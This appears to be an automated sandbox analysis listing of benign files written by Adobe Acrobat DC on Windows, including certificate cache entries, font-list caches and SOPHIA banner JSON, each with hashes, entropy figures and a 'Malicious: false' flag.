Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklnO1B/ltfllXlE/HT8kw6lJltNNX8RolJuRdxLlGB9lQRYwpDdt:kKxLteT8klJdNMa8RdWBwRd
MD5:	623AFF914BD80941F7B76185630C4E6C
SHA1:	99275646A58C16A4A4B30479A453D921007EF9DD
SHA-256:	1C8115D5C079188A56A86CB674C0DE8661996415EDAF84968A5E8113E4FC8D33
SHA-512:	F14BBD7896FEFC91018B860C84B17E50F0D6CE884C59F7F77C2973C54E0CB182F9B0A4D84C3341F88B59DDF2D278CE4856695057028BFC78AB9392B24E95797B
Malicious:	false
Preview:	p...... ........Tk...c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.2429904267830576
Encrypted:	false
SSDEEP:	6:kK9etL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:YiDImsLNkPlE99SNxAhUe/3
MD5:	3A947658BF88BD4F388C54B6D60C74BF
SHA1:	903E67E5F01B8A489A300532B96F483F600255C6
SHA-256:	6E1D42C9BE1F691E4D1549932FBC0676BF2A1F4F222CDFDB203BF5240E9E3D20
SHA-512:	DFA809BBCA9AD44307F4124A78AB2A5D896643F5D2E37A483521A5DA2C686E35AB75A0603804825E488F1735C0CA4B13403F87C979EF6555C80721F847F0861E
Malicious:	false
Preview:	p...... ..........H..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6980

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6980

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.336383364310137
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFexI8nWY+FIbRI6XVW7+0YcBWoAvJM3g98kUwPeUkwRe9:YvXKXF8II0YpW7JGMbLUkee9
MD5:	4C9D23093216D85771ABC429D49A2B8F
SHA1:	2FA0CD0F0C5D905ACF34F43FE9CC79423B5F77FA
SHA-256:	060E8F36FC4B638A9FA842CCB16536D685BD3CEDD817C260E9A63E2B9376B8A7
SHA-512:	9DB1E85F037DB63ACAF5E87B8E425FC3E9FFCA18AE19194FDC57F53CC5D839B0CC1717EC5A95CF9ED9722BB60E6C24AFB667A1ACF6830FF6B5CAD40DCD4D84D1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2ed4cc2b-9e89-4f5a-b4bd-2fad1748346c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720233471,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.273560463301889
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFexI8nWY+FIbRI6XVW7+0YcBWoAvJfBoTfXpnrPeUkwRe9:YvXKXF8II0YpW7JGWTfXcUkee9
MD5:	86DFED29273D6A598353543FF3FD2DF9
SHA1:	7A991783F7D5E1DF0019EA666BB7707D6A1579DF
SHA-256:	C67073FC9053B0851E6CF0D56345F2375C5A35890695806DC34FA1F3A6F77C00
SHA-512:	100935A1F94DE8959637380E7DCB92A43214FF30CE70CF1114E904E31B8E6857EF8A407E569E8E8AE013BA669C0ED333991B4B94D9677CDF65506E1B2E21D0C9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2ed4cc2b-9e89-4f5a-b4bd-2fad1748346c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720233471,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.251699378047157
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFexI8nWY+FIbRI6XVW7+0YcBWoAvJfBD2G6UpnrPeUkwRe9:YvXKXF8II0YpW7JGR22cUkee9
MD5:	A5132E0D3214B641B6306597927366F6
SHA1:	462F7771601D1D19E39340143923AC89719F0367
SHA-256:	3B000CD20194E9471EDEB1C1FFB90EAABA2EAC87FE43C6A8944DCAD8AB15DF56
SHA-512:	1EC5A98B2B3ECE4CD96298A99CBED4415D9592D9749590FF14D569B18933F8607ECA473AC64DB162C55A92C7FE8BC7B5B76B3FBA159B5066881E807827A7E8A2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2ed4cc2b-9e89-4f5a-b4bd-2fad1748346c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720233471,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.314329574525229
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFexI8nWY+FIbRI6XVW7+0YcBWoAvJfPmwrPeUkwRe9:YvXKXF8II0YpW7JGH56Ukee9
MD5:	0E3CB236CF1BFD3360E61D835060AD51
SHA1:	9C076E76454AB7F9E81AE94755FEAF4E924E33BA
SHA-256:	EF42EA5781E6CB17DC5ABA13D881C293AD2C307F214570E24F8847360741D417
SHA-512:	EB7AEDCF4945253147463BA532B9E407D89954AD7A60CE72408C34BDA300CC56C99185B51749F21FE9EB2982AF0F51FE14F7C4DCEDE2FC0B835971BEE8EFB3C1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2ed4cc2b-9e89-4f5a-b4bd-2fad1748346c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720233471,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.683855728219055
Encrypted:	false
SSDEEP:	24:Yv6Xt+iOpLgE9cQx8LennAvzBvkn0RCmK8czOCCSo1:YvEZOhgy6SAFv5Ah8cv/i
MD5:	AE47CEE0BAE14672BC90F1C30ADF012B
SHA1:	58AAA86479138988BEEDD9B26EA8C66A9D2EC11D
SHA-256:	209D15031726834A3A334ABA864D6F27A090EEB72666052EF012CED5A66F0BC8
SHA-512:	F04AA4CD34AC5E8B5F41A35BBB7CA40D51D31361BA5957E3013883F8CC97C9F1EE0F487D5BF5DEBC3ADB80ACE7D1A12B3931B5CC2CE1CC35606F85CF6037B550
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2ed4cc2b-9e89-4f5a-b4bd-2fad1748346c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720233471,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.257243450275629
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFexI8nWY+FIbRI6XVW7+0YcBWoAvJf8dPeUkwRe9:YvXKXF8II0YpW7JGU8Ukee9
MD5:	0C2B45265D5DA3D4B46CACE5B1D2C41F
SHA1:	C6B80609D5CD546D65879B396F643BA9AC770F94
SHA-256:	472CF58F19907D005C18E4E116FA21F79E41EE10DE5050BCA2E2473DECBAF4E1
SHA-512:	EECC2AAB29B1ACF3E9D8DC6595294102A8B887A590183778C331ECFD2E3CBDF6CBAEA198C98244ED5032BF7DBF21CB19B0E07A407C6AB2F0DE0E839E9B2FECD0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2ed4cc2b-9e89-4f5a-b4bd-2fad1748346c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720233471,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.258656129314005
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFexI8nWY+FIbRI6XVW7+0YcBWoAvJfQ1rPeUkwRe9:YvXKXF8II0YpW7JGY16Ukee9
MD5:	3083808A045FAD823369F9A11BA79CB8
SHA1:	86D9ACDF9088E3286362D14AD77BE9C7CE628D09
SHA-256:	3EB45C222DC02E3AAFCEA972C338A57DF0A8F88676B05A742C6AC282AC186C02
SHA-512:	1987748686FF81FE205959C204C5381316C0DBEA3C454A8194C58636FD1E9E89206B1FEAB94199BFDBB1A8A9A58DF8B6F027722DCFC3B3CB6BDA319D5BDDC848
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2ed4cc2b-9e89-4f5a-b4bd-2fad1748346c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720233471,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.277379057654922
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFexI8nWY+FIbRI6XVW7+0YcBWoAvJfFldPeUkwRe9:YvXKXF8II0YpW7JGz8Ukee9
MD5:	9D0B29FDAFF8FE2B10BF97B382376E07
SHA1:	870832E4594301D31CD36695ED8C2E74A9D66149
SHA-256:	897F819D98F99E9ACCCDD0ABEE9EDC01EDAF2D6A7B0F0A36E464C6BC0D8B10A2
SHA-512:	BB49FC2C3F94D16DC7034D0A2F08BEDAD7EF69A4C44468709B006CD5E11CEA805A2694942D39061F4F00CC2EB1864146D2EDA659DC9710A885554B3F49281F6A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2ed4cc2b-9e89-4f5a-b4bd-2fad1748346c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720233471,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.285724713980231
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFexI8nWY+FIbRI6XVW7+0YcBWoAvJfzdPeUkwRe9:YvXKXF8II0YpW7JGb8Ukee9
MD5:	D1AD1FB44DAF849E0CDBF7FFE43E0873
SHA1:	25A5395F6C9532922665A5D4EA5FB1B73070C06D
SHA-256:	FB2F307A3535E92AEC7EF45B655DA20A338669D2F0654C564EE9E57D572E8C9F
SHA-512:	D68618D2487CCAF0FD2458E47D85C1DBE54282A3F3FBEEBA87D9D2E70D2311FAB30C062C3AB8CC38D0920FBD5B02018B3A9240C5F307E7D7D4211D73179753F8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2ed4cc2b-9e89-4f5a-b4bd-2fad1748346c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720233471,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.26567007114274
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFexI8nWY+FIbRI6XVW7+0YcBWoAvJfYdPeUkwRe9:YvXKXF8II0YpW7JGg8Ukee9
MD5:	FFD459764B376C8E3906E7D71CDD465F
SHA1:	746D425E937FCE2533D61B0504C55D36AE298C3C
SHA-256:	1F1602C9E68F0A7CD34F977E3E59971C3C0CB4F4CDB010E490F23090CD821AB2
SHA-512:	0DCB1913203458FBCD66968E4E5C6A95C1E6C3E6293E8D141EABDCAA4B3616852EF3F307908C2AD6D7157BB4A2AFFCE92643B73508D270C82843B847A51A7A32
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2ed4cc2b-9e89-4f5a-b4bd-2fad1748346c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720233471,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.251415034737318
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFexI8nWY+FIbRI6XVW7+0YcBWoAvJf+dPeUkwRe9:YvXKXF8II0YpW7JG28Ukee9
MD5:	EF2AD3173706241381444C3A2C8649FB
SHA1:	FA2B6AAE1D3D437639ECAEE17D0ED73B02126347
SHA-256:	E4C7649281C0B731DD036EA699898063D6A1DA584C8209C42A5B71A2B9E14171
SHA-512:	4F08F28D9A0DC1AC526419AB45DEF51938930A8A979B08FA2A082E6BBAB83FE7E2B8954F81E0D15528FD5CB32B1AB284B5340E64645A8FCD8D02B70B97298673
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2ed4cc2b-9e89-4f5a-b4bd-2fad1748346c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736720233471,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.249453113344833
Encrypted:	false
